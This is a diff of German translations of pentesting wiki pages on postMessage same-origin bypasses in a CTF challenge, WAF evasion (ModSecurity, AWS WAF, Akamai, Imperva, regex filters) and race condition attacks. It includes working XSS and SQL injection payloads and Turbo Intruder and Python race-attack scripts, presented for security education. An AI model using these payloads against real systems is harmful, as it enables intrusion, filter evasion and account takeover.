Lass uns die vorgeschlagene Lösung ansehen.
|
||||
|
||||
### SOP Bypass 1 (e.origin === null)
|
||||
### SOP-Bypass 1 (e.origin === null)
|
||||
|
||||
Wenn `//example.org` in ein **sandboxed iframe** eingebettet ist, wird der **Ursprung** der Seite **`null`** sein, d.h. **`window.origin === null`**. Durch das Einbetten des iframes über `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` könnten wir den **`null` Ursprung** **erzwingen**.
|
||||
Wenn `//example.org` in ein **sandboxed iframe** eingebettet wird, wird der **Ursprung** der Seite **`null`** sein, d.h. **`window.origin === null`**. Durch das Einbetten des iframes über `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` könnten wir den **`null` Ursprung** **erzwingen**.
|
||||
|
||||
Wenn die Seite **einbettbar** wäre, könntest du diesen Schutz auf diese Weise umgehen (Cookies müssen möglicherweise auch auf `SameSite=None` gesetzt werden).
|
||||
|
||||
### SOP Bypass 2 (window.origin === null)
|
||||
### SOP-Bypass 2 (window.origin === null)
|
||||
|
||||
Die weniger bekannte Tatsache ist, dass wenn der **sandbox Wert `allow-popups` gesetzt ist**, dann wird das **geöffnete Popup** alle **sandboxed Attribute** **erben**, es sei denn, `allow-popups-to-escape-sandbox` ist gesetzt.\
|
||||
Die weniger bekannte Tatsache ist, dass wenn der **sandbox-Wert `allow-popups` gesetzt ist**, dann wird das **geöffnete Popup** alle **sandboxed attributes** **erben**, es sei denn, `allow-popups-to-escape-sandbox` ist gesetzt.\
|
||||
Das Öffnen eines **Popups** von einem **null Ursprung** wird **`window.origin`** im Popup ebenfalls **`null`** machen.
|
||||
|
||||
### Herausforderungs-Lösung
|
||||
|
||||
Daher könnte man für diese Herausforderung ein **iframe** **erstellen**, ein **Popup** zur Seite mit dem anfälligen XSS-Code-Handler (`/iframe.php`) **öffnen**, da `window.origin === e.origin`, weil beide `null` sind, ist es möglich, eine **Payload zu senden, die das XSS ausnutzt**.
|
||||
|
||||
Diese **Payload** wird die **Kennung** erhalten und ein **XSS** **zurück zur Hauptseite** senden (die Seite, die das Popup geöffnet hat), **die** die **Location** zu dem **anfälligen** `/iframe.php` **ändern** wird. Da die Kennung bekannt ist, spielt es keine Rolle, dass die Bedingung `window.origin === e.origin` nicht erfüllt ist (denk daran, der Ursprung ist das **Popup** vom iframe, das **Ursprung** **`null`** hat), weil `data.identifier === identifier`. Dann wird das **XSS erneut ausgelöst**, diesmal im richtigen Ursprung.
|
||||
Diese **Payload** wird die **Kennung** erhalten und ein **XSS** **zurück zur Hauptseite** senden (der Seite, die das Popup geöffnet hat), **die** dann die **Location** zu dem **anfälligen** `/iframe.php` **ändern** wird. Da die Kennung bekannt ist, spielt es keine Rolle, dass die Bedingung `window.origin === e.origin` nicht erfüllt ist (denk daran, der Ursprung ist das **Popup** vom iframe, das **Ursprung** **`null`** hat), weil `data.identifier === identifier`. Dann wird das **XSS erneut ausgelöst**, diesmal im richtigen Ursprung.
|
||||
```html
|
||||
<body>
|
||||
<script>
|
||||
|
||||
@ -10,9 +10,9 @@ In dieser Herausforderung muss der Angreifer **bypassen**:
|
||||
```javascript
|
||||
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
|
||||
```
|
||||
Wenn er das tut, kann er eine **postmessage** mit HTML-Inhalt senden, die auf der Seite mit **`innerHTML`** ohne Sanitärmaßnahmen (**XSS**) geschrieben wird.
|
||||
Wenn er das tut, kann er eine **postmessage** mit HTML-Inhalt senden, die ohne Sanitization (**XSS**) in die Seite mit **`innerHTML`** geschrieben wird.
|
||||
|
||||
Der Weg, um die **erste Überprüfung** zu umgehen, besteht darin, **`window.calc.contentWindow`** auf **`undefined`** und **`e.source`** auf **`null`** zu setzen:
|
||||
Der Weg, die **erste Überprüfung** zu umgehen, besteht darin, **`window.calc.contentWindow`** auf **`undefined`** und **`e.source`** auf **`null`** zu setzen:
|
||||
|
||||
- **`window.calc.contentWindow`** ist tatsächlich **`document.getElementById("calc")`**. Sie können **`document.getElementById`** mit **`<img name=getElementById />`** überschreiben (beachten Sie, dass die Sanitizer API -[hier](https://wicg.github.io/sanitizer-api/#dom-clobbering)- nicht konfiguriert ist, um gegen DOM-Clobbering-Angriffe in ihrem Standardzustand zu schützen).
|
||||
- Daher können Sie **`document.getElementById("calc")`** mit **`<img name=getElementById /><div id=calc></div>`** überschreiben. Dann wird **`window.calc`** **`undefined`** sein.
|
||||
@ -25,7 +25,7 @@ await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
|
||||
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
|
||||
document.body.removeChild(iframe) //e.origin === null
|
||||
```
|
||||
Um die **zweite Überprüfung** bezüglich des Tokens zu umgehen, sendet man **`token`** mit dem Wert `null` und setzt den Wert von **`window.token`** auf **`undefined`**:
|
||||
Um die **zweite Überprüfung** bezüglich des Tokens zu umgehen, wird **`token`** mit dem Wert `null` gesendet und der Wert von **`window.token`** auf **`undefined`** gesetzt:
|
||||
|
||||
- Das Senden von `token` in der postMessage mit dem Wert `null` ist trivial.
|
||||
- **`window.token`** wird beim Aufruf der Funktion **`getCookie`** verwendet, die **`document.cookie`** nutzt. Beachten Sie, dass jeder Zugriff auf **`document.cookie`** in **`null`** Ursprungsseiten einen **Fehler** auslöst. Dies führt dazu, dass **`window.token`** den Wert **`undefined`** hat.
|
||||
|
||||
@ -70,22 +70,22 @@ location ~* ^/admin {
|
||||
deny all;
|
||||
}
|
||||
```
|
||||
## Bypass Mod Security Rules <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
## Umgehung von Mod Security Regeln <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
|
||||
### Path Confusion
|
||||
### Pfadverwirrung
|
||||
|
||||
[**In diesem Beitrag**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) wird erklärt, dass ModSecurity v3 (bis 3.0.12) **die `REQUEST_FILENAME`**-Variable unsachgemäß implementiert hat, die den aufgerufenen Pfad (bis zum Beginn der Parameter) enthalten sollte. Dies liegt daran, dass eine URL-Dekodierung durchgeführt wurde, um den Pfad zu erhalten.\
|
||||
[**In diesem Beitrag**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) wird erklärt, dass ModSecurity v3 (bis 3.0.12) **die `REQUEST_FILENAME`** Variable unsachgemäß implementiert hat, die den aufgerufenen Pfad (bis zum Beginn der Parameter) enthalten sollte. Dies liegt daran, dass eine URL-Dekodierung durchgeführt wurde, um den Pfad zu erhalten.\
|
||||
Daher wird eine Anfrage wie `http://example.com/foo%3f';alert(1);foo=` in Mod Security annehmen, dass der Pfad nur `/foo` ist, da `%3f` in `?` umgewandelt wird, was den URL-Pfad beendet, aber tatsächlich wird der Pfad, den ein Server erhält, `/foo%3f';alert(1);foo=` sein.
|
||||
|
||||
Die Variablen `REQUEST_BASENAME` und `PATH_INFO` waren ebenfalls von diesem Fehler betroffen.
|
||||
|
||||
Etwas Ähnliches trat in Version 2 von Mod Security auf, das es ermöglichte, einen Schutz zu umgehen, der verhinderte, dass Benutzer auf Dateien mit bestimmten Erweiterungen, die mit Sicherungsdateien verbunden sind (wie `.bak`), zugreifen konnten, indem einfach der Punkt URL-kodiert in `%2e` gesendet wurde, zum Beispiel: `https://example.com/backup%2ebak`.
|
||||
Etwas Ähnliches trat in Version 2 von Mod Security auf, das es ermöglichte, einen Schutz zu umgehen, der den Zugriff von Benutzern auf Dateien mit bestimmten Erweiterungen, die mit Sicherungsdateien (wie `.bak`) verbunden sind, verhinderte, indem einfach der Punkt URL-kodiert in `%2e` gesendet wurde, zum Beispiel: `https://example.com/backup%2ebak`.
|
||||
|
||||
## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
## Umgehung von AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
|
||||
### Malformed Header
|
||||
### Fehlformatierter Header
|
||||
|
||||
[Diese Forschung](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) erwähnt, dass es möglich war, AWS WAF-Regeln, die auf HTTP-Header angewendet wurden, zu umgehen, indem ein "fehlerhafter" Header gesendet wurde, der von AWS nicht richtig analysiert, aber vom Backend-Server verarbeitet wurde.
|
||||
[Diese Forschung](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) erwähnt, dass es möglich war, AWS WAF-Regeln, die auf HTTP-Header angewendet wurden, zu umgehen, indem ein "fehlformatierter" Header gesendet wurde, der von AWS nicht richtig analysiert, aber vom Backend-Server verarbeitet wurde.
|
||||
|
||||
Zum Beispiel, indem die folgende Anfrage mit einer SQL-Injection im Header X-Query gesendet wird:
|
||||
```http
|
||||
@ -106,11 +106,11 @@ Es war möglich, AWS WAF zu umgehen, da es nicht verstand, dass die nächste Zei
|
||||
|
||||
- Für AWS WAF können Sie [**die Dokumentation überprüfen**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Maximale Größe eines Webanfragekörpers, die für Application Load Balancer und AWS AppSync-Schutzmaßnahmen überprüft werden kann</td><td>8 KB</td></tr><tr><td>Maximale Größe eines Webanfragekörpers, die für CloudFront, API Gateway, Amazon Cognito, App Runner und Verified Access-Schutzmaßnahmen überprüft werden kann**</td><td>64 KB</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Maximale Größe eines Webanfragekörpers, der für Application Load Balancer und AWS AppSync-Schutzmaßnahmen überprüft werden kann</td><td>8 KB</td></tr><tr><td>Maximale Größe eines Webanfragekörpers, der für CloudFront, API Gateway, Amazon Cognito, App Runner und Verified Access-Schutzmaßnahmen überprüft werden kann**</td><td>64 KB</td></tr></tbody></table>
|
||||
|
||||
- Aus [**Azure-Dokumenten**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
|
||||
|
||||
Ältere Webanwendungsfirewalls mit Core Rule Set 3.1 (oder niedriger) erlauben Nachrichten, die größer als **128 KB** sind, indem die Inspektion des Anfragekörpers deaktiviert wird, aber diese Nachrichten werden nicht auf Schwachstellen überprüft. Bei neueren Versionen (Core Rule Set 3.2 oder neuer) kann dasselbe erreicht werden, indem die maximale Anfragekörpergrenze deaktiviert wird. Wenn eine Anfrage die Größenbeschränkung überschreitet:
|
||||
Ältere Webanwendungsfirewalls mit Core Rule Set 3.1 (oder niedriger) erlauben Nachrichten größer als **128 KB**, indem die Inspektion des Anfragekörpers deaktiviert wird, aber diese Nachrichten werden nicht auf Schwachstellen überprüft. Bei neueren Versionen (Core Rule Set 3.2 oder neuer) kann dasselbe durch Deaktivieren der maximalen Anfragekörpergrenze erreicht werden. Wenn eine Anfrage die Größenbeschränkung überschreitet:
|
||||
|
||||
Wenn **Präventionsmodus**: Protokolliert und blockiert die Anfrage.\
|
||||
Wenn **Erkennungsmodus**: Überprüft bis zur Grenze, ignoriert den Rest und protokolliert, wenn die `Content-Length` die Grenze überschreitet.
|
||||
@ -133,7 +133,7 @@ Bis zu 128 KB.
|
||||
```
|
||||
### Unicode-Kompatibilität <a href="#unicode-compatability" id="unicode-compatability"></a>
|
||||
|
||||
Je nach Implementierung der Unicode-Normalisierung (mehr Informationen [hier](https://jlajara.gitlab.io/Bypass_WAF_Unicode)) können Zeichen, die Unicode-Kompatibilität aufweisen, in der Lage sein, die WAF zu umgehen und als die beabsichtigte Nutzlast auszuführen. Kompatible Zeichen finden Sie [hier](https://www.compart.com/en/unicode).
|
||||
Je nach Implementierung der Unicode-Normalisierung (mehr Informationen [hier](https://jlajara.gitlab.io/Bypass_WAF_Unicode)) können Zeichen, die Unicode-Kompatibilität teilen, in der Lage sein, die WAF zu umgehen und als die beabsichtigte Nutzlast auszuführen. Kompatible Zeichen finden Sie [hier](https://www.compart.com/en/unicode).
|
||||
|
||||
#### Beispiel <a href="#example" id="example"></a>
|
||||
```bash
|
||||
@ -143,15 +143,15 @@ Je nach Implementierung der Unicode-Normalisierung (mehr Informationen [hier](ht
|
||||
```
|
||||
### Umgehung kontextueller WAFs mit Kodierungen <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
Wie in [**diesem Blogbeitrag**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) erwähnt, um WAFs zu umgehen, die in der Lage sind, einen Kontext der Benutzereingabe aufrechtzuerhalten, könnten wir die WAF-Techniken ausnutzen, um tatsächlich die Benutzereingabe zu normalisieren.
|
||||
Wie in [**diesem Blogbeitrag**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) erwähnt, um WAFs zu umgehen, die in der Lage sind, einen Kontext der Benutzereingabe aufrechtzuerhalten, könnten wir die WAF-Techniken missbrauchen, um die Benutzereingabe tatsächlich zu normalisieren.
|
||||
|
||||
Zum Beispiel wird im Beitrag erwähnt, dass **Akamai eine Benutzereingabe 10 Mal URL-dekodiert hat**. Daher wird etwas wie `<input/%2525252525252525253e/onfocus` von Akamai als `<input/>/onfocus` angesehen, was **vielleicht als in Ordnung angesehen wird, da das Tag geschlossen ist**. Solange die Anwendung jedoch die Eingabe nicht 10 Mal URL-dekodiert, wird das Opfer etwas wie `<input/%25252525252525253e/onfocus` sehen, was **immer noch gültig für einen XSS-Angriff ist**.
|
||||
|
||||
Daher ermöglicht dies, **Payloads in kodierten Komponenten zu verstecken**, die die WAF dekodieren und interpretieren wird, während das Opfer dies nicht tun wird.
|
||||
Daher ermöglicht dies, **Payloads in kodierten Komponenten zu verstecken**, die die WAF dekodiert und interpretiert, während das Opfer dies nicht tut.
|
||||
|
||||
Darüber hinaus kann dies nicht nur mit URL-kodierten Payloads, sondern auch mit anderen Kodierungen wie Unicode, Hex, Oktal... durchgeführt werden.
|
||||
|
||||
Im Beitrag werden die folgenden finalen Umgehungen vorgeschlagen:
|
||||
Im Beitrag werden die folgenden endgültigen Umgehungen vorgeschlagen:
|
||||
|
||||
- Akamai:`akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>`
|
||||
- Imperva:`imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">`
|
||||
@ -160,7 +160,7 @@ Im Beitrag werden die folgenden finalen Umgehungen vorgeschlagen:
|
||||
|
||||
Es wird auch erwähnt, dass je nachdem, **wie einige WAFs den Kontext** der Benutzereingabe verstehen, es möglich sein könnte, dies auszunutzen. Das vorgeschlagene Beispiel im Blog ist, dass Akamai erlaubte, alles zwischen `/*` und `*/` zu setzen (möglicherweise, weil dies häufig als Kommentare verwendet wird). Daher wird eine SQL-Injection wie `/*'or sleep(5)-- -*/` nicht erfasst und ist gültig, da `/*` der Startstring der Injection ist und `*/` kommentiert ist.
|
||||
|
||||
Diese Art von Kontextproblemen kann auch verwendet werden, um **andere Schwachstellen als die erwartete** auszunutzen, die von der WAF ausgenutzt werden soll (z. B. könnte dies auch verwendet werden, um einen XSS auszunutzen).
|
||||
Diese Art von Kontextproblemen kann auch verwendet werden, um **andere Schwachstellen als die erwartete auszunutzen**, die von der WAF ausgenutzt werden sollen (z. B. könnte dies auch verwendet werden, um einen XSS auszunutzen).
|
||||
|
||||
### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
@ -170,7 +170,7 @@ h2c-smuggling.md
|
||||
|
||||
### IP-Rotation <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generiere eine API-Gateway-URL zur Verwendung mit ffuf
|
||||
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generieren Sie eine API-Gateway-URL zur Verwendung mit ffuf
|
||||
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Ähnlich wie fireprox
|
||||
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite-Plugin, das API-Gateway-IPs verwendet
|
||||
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Eine dynamisch bestimmte Anzahl von Containerinstanzen wird basierend auf der Eingabedateigröße und dem Split-Faktor aktiviert, wobei die Eingabe in Teile für die parallele Ausführung aufgeteilt wird, z. B. 100 Instanzen, die 100 Teile aus einer 10.000-Zeilen-Eingabedatei mit einem Split-Faktor von 100 Zeilen verarbeiten.
|
||||
@ -178,7 +178,7 @@ h2c-smuggling.md
|
||||
|
||||
### Regex-Umgehungen
|
||||
|
||||
Verschiedene Techniken können verwendet werden, um die Regex-Filter an den Firewalls zu umgehen. Beispiele sind das Wechseln der Groß- und Kleinschreibung, das Hinzufügen von Zeilenumbrüchen und das Kodieren von Payloads. Ressourcen für die verschiedenen Umgehungen finden Sie bei [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) und [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Die folgenden Beispiele stammen aus [diesem Artikel](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
|
||||
Verschiedene Techniken können verwendet werden, um die Regex-Filter der Firewalls zu umgehen. Beispiele sind wechselnde Groß- und Kleinschreibung, das Hinzufügen von Zeilenumbrüchen und das Kodieren von Payloads. Ressourcen für die verschiedenen Umgehungen finden Sie bei [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) und [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Die folgenden Beispiele stammen aus [diesem Artikel](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
|
||||
```bash
|
||||
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
|
||||
<<script>alert(XSS)</script> #prepending an additional "<"
|
||||
|
||||
@ -7,19 +7,19 @@
|
||||
|
||||
## Verbesserung von Race Condition-Angriffen
|
||||
|
||||
Die größte Hürde bei der Ausnutzung von Race Conditions besteht darin, sicherzustellen, dass mehrere Anfragen gleichzeitig bearbeitet werden, mit **sehr geringem Unterschied in ihren Verarbeitungszeiten—idealerweise weniger als 1 ms**.
|
||||
Die größte Hürde bei der Ausnutzung von Race Conditions besteht darin, sicherzustellen, dass mehrere Anfragen gleichzeitig bearbeitet werden, mit **sehr geringem Unterschied in ihren Verarbeitungszeiten—idealerweise weniger als 1ms**.
|
||||
|
||||
Hier finden Sie einige Techniken zur Synchronisierung von Anfragen:
|
||||
|
||||
#### HTTP/2 Single-Packet-Angriff vs. HTTP/1.1 Last-Byte-Synchronisierung
|
||||
|
||||
- **HTTP/2**: Unterstützt das Senden von zwei Anfragen über eine einzige TCP-Verbindung, wodurch die Auswirkungen von Netzwerk-Jitter verringert werden. Aufgrund serverseitiger Variationen können jedoch zwei Anfragen möglicherweise nicht ausreichen, um einen konsistenten Race Condition-Exploit zu ermöglichen.
|
||||
- **HTTP/2**: Unterstützt das Senden von zwei Anfragen über eine einzige TCP-Verbindung, wodurch die Auswirkungen von Netzwerk-Jitter verringert werden. Aufgrund serverseitiger Variationen können jedoch zwei Anfragen möglicherweise nicht ausreichen, um einen konsistenten Race Condition-Exploits zu erzielen.
|
||||
- **HTTP/1.1 'Last-Byte Sync'**: Ermöglicht das Vorab-Senden der meisten Teile von 20-30 Anfragen, wobei ein kleines Fragment zurückgehalten wird, das dann zusammen gesendet wird, um eine gleichzeitige Ankunft am Server zu erreichen.
|
||||
|
||||
**Die Vorbereitung für Last-Byte Sync** umfasst:
|
||||
|
||||
1. Senden von Headern und Bodendaten ohne das letzte Byte, ohne den Stream zu beenden.
|
||||
2. Eine Pause von 100 ms nach dem ersten Senden.
|
||||
2. Eine Pause von 100ms nach dem ersten Senden.
|
||||
3. Deaktivierung von TCP_NODELAY, um Nagle's Algorithmus für das Batchen der letzten Frames zu nutzen.
|
||||
4. Pingen, um die Verbindung aufzuwärmen.
|
||||
|
||||
@ -35,7 +35,7 @@ Frameworks wie PHPs Sitzungs-Handler serialisieren Anfragen nach Sitzung, was po
|
||||
|
||||
#### Überwindung von Rate- oder Ressourcenlimits
|
||||
|
||||
Wenn das Aufwärmen der Verbindung nicht effektiv ist, könnte das absichtliche Auslösen von Verzögerungen durch die Rate- oder Ressourcenlimits von Webservern durch eine Flut von Dummy-Anfragen den Single-Packet-Angriff erleichtern, indem eine serverseitige Verzögerung induziert wird, die für Race Conditions förderlich ist.
|
||||
Wenn das Aufwärmen der Verbindung nicht effektiv ist, könnte das absichtliche Auslösen von Verzögerungen durch die Rate- oder Ressourcenlimits der Webserver durch eine Flut von Dummy-Anfragen den Single-Packet-Angriff erleichtern, indem eine serverseitige Verzögerung induziert wird, die für Race Conditions förderlich ist.
|
||||
|
||||
## Angriffsbeispiele
|
||||
|
||||
@ -52,7 +52,7 @@ engine.queue(target.req, password, gate='race1')
|
||||
> [!WARNING]
|
||||
> Wenn das Web HTTP2 nicht unterstützt (nur HTTP1.1), verwenden Sie `Engine.THREADED` oder `Engine.BURP` anstelle von `Engine.BURP2`.
|
||||
|
||||
- **Tubo Intruder - HTTP2 Einzelpaketangriff (Mehrere Endpunkte)**: Falls Sie eine Anfrage an 1 Endpunkt senden müssen und dann mehrere an andere Endpunkte, um die RCE auszulösen, können Sie das Skript `race-single-packet-attack.py` mit etwas wie folgendem ändern:
|
||||
- **Tubo Intruder - HTTP2 Einzelpaketangriff (Mehrere Endpunkte)**: Falls Sie eine Anfrage an 1 Endpunkt senden und dann mehrere an andere Endpunkte, um die RCE auszulösen, können Sie das Skript `race-single-packet-attack.py` mit etwas wie folgendem ändern:
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
@ -91,8 +91,8 @@ engine.openGate(currentAttempt)
|
||||
|
||||
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Automatisiertes Python-Skript**: Das Ziel dieses Skripts ist es, die E-Mail eines Benutzers zu ändern, während es diese kontinuierlich überprüft, bis der Verifizierungstoken der neuen E-Mail an die letzte E-Mail ankommt (das liegt daran, dass im Code ein RC gesehen wurde, bei dem es möglich war, eine E-Mail zu ändern, aber die Verifizierung an die alte zu senden, weil die Variable, die die E-Mail angibt, bereits mit der ersten gefüllt war).\
|
||||
Wenn das Wort "objetivo" in den empfangenen E-Mails gefunden wird, wissen wir, dass wir den Verifizierungstoken der geänderten E-Mail erhalten haben und beenden den Angriff.
|
||||
- **Automatisiertes Python-Skript**: Das Ziel dieses Skripts ist es, die E-Mail eines Benutzers zu ändern, während es kontinuierlich überprüft, bis der Bestätigungstoken der neuen E-Mail an die letzte E-Mail ankommt (das liegt daran, dass im Code ein RC gesehen wurde, bei dem es möglich war, eine E-Mail zu ändern, aber die Bestätigung an die alte zu senden, weil die Variable, die die E-Mail angibt, bereits mit der ersten gefüllt war).\
|
||||
Wenn das Wort "objetivo" in den empfangenen E-Mails gefunden wird, wissen wir, dass wir den Bestätigungstoken der geänderten E-Mail erhalten haben und beenden den Angriff.
|
||||
```python
|
||||
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
||||
# Script from victor to solve a HTB challenge
|
||||
@ -219,7 +219,7 @@ response = requests.get(url, verify=False)
|
||||
```
|
||||
### Verbesserung des Single Packet Angriffs
|
||||
|
||||
In der ursprünglichen Forschung wird erklärt, dass dieser Angriff eine Grenze von 1.500 Bytes hat. In [**diesem Beitrag**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) wurde jedoch erklärt, wie es möglich ist, die 1.500-Byte-Beschränkung des Single Packet Angriffs auf die **65.535 B Fensterbeschränkung von TCP durch Verwendung von IP-Schichtfragmentierung** (Aufteilen eines einzelnen Pakets in mehrere IP-Pakete) zu erweitern und sie in unterschiedlicher Reihenfolge zu senden, was es ermöglichte, die Wiederzusammenführung des Pakets zu verhindern, bis alle Fragmente den Server erreicht hatten. Diese Technik ermöglichte es dem Forscher, 10.000 Anfragen in etwa 166 ms zu senden. 
|
||||
In der ursprünglichen Forschung wird erklärt, dass dieser Angriff eine Grenze von 1.500 Bytes hat. In [**diesem Beitrag**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) wurde jedoch erklärt, wie es möglich ist, die 1.500-Byte-Beschränkung des Single Packet Angriffs auf die **65.535 B Fensterbeschränkung von TCP durch Verwendung von IP-Schichtfragmentierung** (Aufteilen eines einzelnen Pakets in mehrere IP-Pakete) zu erweitern und sie in unterschiedlicher Reihenfolge zu senden, was es ermöglichte, die Rekonstruktion des Pakets zu verhindern, bis alle Fragmente den Server erreicht hatten. Diese Technik ermöglichte es dem Forscher, 10.000 Anfragen in etwa 166 ms zu senden. 
|
||||
|
||||
Beachten Sie, dass obwohl diese Verbesserung den Angriff in RC, der Hunderte/Tausende von Paketen erfordert, zuverlässiger macht, sie auch einige Softwarebeschränkungen haben könnte. Einige beliebte HTTP-Server wie Apache, Nginx und Go haben eine strenge `SETTINGS_MAX_CONCURRENT_STREAMS` Einstellung von 100, 128 und 250. Andere wie NodeJS und nghttp2 haben jedoch keine Begrenzung.\
|
||||
Das bedeutet im Grunde, dass Apache nur 100 HTTP-Verbindungen von einer einzelnen TCP-Verbindung berücksichtigt (was diesen RC-Angriff einschränkt).
|
||||
@ -301,23 +301,23 @@ Das Ausnutzen komplexer Race Conditions beinhaltet oft, kurze Gelegenheiten zu n
|
||||
- Beginnen Sie mit der Identifizierung von Endpunkten, die kritische Daten ändern oder damit interagieren, wie Benutzerprofile oder Passwortzurücksetzprozesse. Konzentrieren Sie sich auf:
|
||||
- **Speicherung**: Bevorzugen Sie Endpunkte, die serverseitige persistente Daten manipulieren, gegenüber denen, die Daten clientseitig verarbeiten.
|
||||
- **Aktion**: Suchen Sie nach Operationen, die vorhandene Daten ändern, da diese eher ausnutzbare Bedingungen schaffen als solche, die neue Daten hinzufügen.
|
||||
- **Schlüsselung**: Erfolgreiche Angriffe beinhalten normalerweise Operationen, die auf demselben Identifikator basieren, z.B. Benutzername oder Rücksetztoken.
|
||||
2. **Führen Sie erste Erkundungen durch**
|
||||
- **Schlüsselung**: Erfolgreiche Angriffe beinhalten normalerweise Operationen, die auf demselben Identifikator basieren, z.B. Benutzername oder Rücksetz-Token.
|
||||
2. **Durchführen einer ersten Erkundung**
|
||||
- Testen Sie die identifizierten Endpunkte mit Race Condition-Angriffen und beobachten Sie Abweichungen von den erwarteten Ergebnissen. Unerwartete Antworten oder Änderungen im Anwendungsverhalten können auf eine Schwachstelle hinweisen.
|
||||
3. **Demonstrieren Sie die Schwachstelle**
|
||||
- Reduzieren Sie den Angriff auf die minimale Anzahl von Anfragen, die erforderlich sind, um die Schwachstelle auszunutzen, oft nur zwei. Dieser Schritt kann mehrere Versuche oder Automatisierung erfordern, aufgrund der präzisen Zeitplanung.
|
||||
|
||||
### Zeitkritische Angriffe
|
||||
|
||||
Präzision bei der Zeitplanung von Anfragen kann Schwachstellen aufdecken, insbesondere wenn vorhersehbare Methoden wie Zeitstempel für Sicherheitstoken verwendet werden. Zum Beispiel könnte die Generierung von Passwortzurücksetztokens basierend auf Zeitstempeln identische Tokens für gleichzeitige Anfragen ermöglichen.
|
||||
Präzision bei der Zeitplanung von Anfragen kann Schwachstellen aufdecken, insbesondere wenn vorhersehbare Methoden wie Zeitstempel für Sicherheitstoken verwendet werden. Zum Beispiel könnte die Generierung von Passwortzurücksetz-Token basierend auf Zeitstempeln identische Token für gleichzeitige Anfragen ermöglichen.
|
||||
|
||||
**Um auszunutzen:**
|
||||
|
||||
- Verwenden Sie präzise Zeitplanung, wie einen einzelnen Paketangriff, um gleichzeitige Passwortzurücksetzanforderungen zu stellen. Identische Tokens deuten auf eine Schwachstelle hin.
|
||||
- Verwenden Sie präzise Zeitplanung, wie einen einzelnen Paketangriff, um gleichzeitige Passwortzurücksetz-Anfragen zu stellen. Identische Token deuten auf eine Schwachstelle hin.
|
||||
|
||||
**Beispiel:**
|
||||
|
||||
- Fordern Sie zwei Passwortzurücksetztokens gleichzeitig an und vergleichen Sie sie. Übereinstimmende Tokens deuten auf einen Fehler in der Token-Generierung hin.
|
||||
- Fordern Sie zwei Passwortzurücksetz-Token gleichzeitig an und vergleichen Sie sie. Übereinstimmende Token deuten auf einen Fehler in der Token-Generierung hin.
|
||||
|
||||
**Überprüfen Sie dies** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **um dies auszuprobieren.**
|
||||
|
||||
@ -333,7 +333,7 @@ Die Idee ist, **eine E-Mail-Adresse zu verifizieren und sie gleichzeitig in eine
|
||||
|
||||
### Ändern der E-Mail auf 2 E-Mail-Adressen Cookie-basiert
|
||||
|
||||
Laut [**dieser Forschung**](https://portswigger.net/research/smashing-the-state-machine) war Gitlab auf diese Weise anfällig für einen Übernahmeangriff, da es **das** **E-Mail-Bestätigungstoken einer E-Mail an die andere E-Mail** **senden** könnte.
|
||||
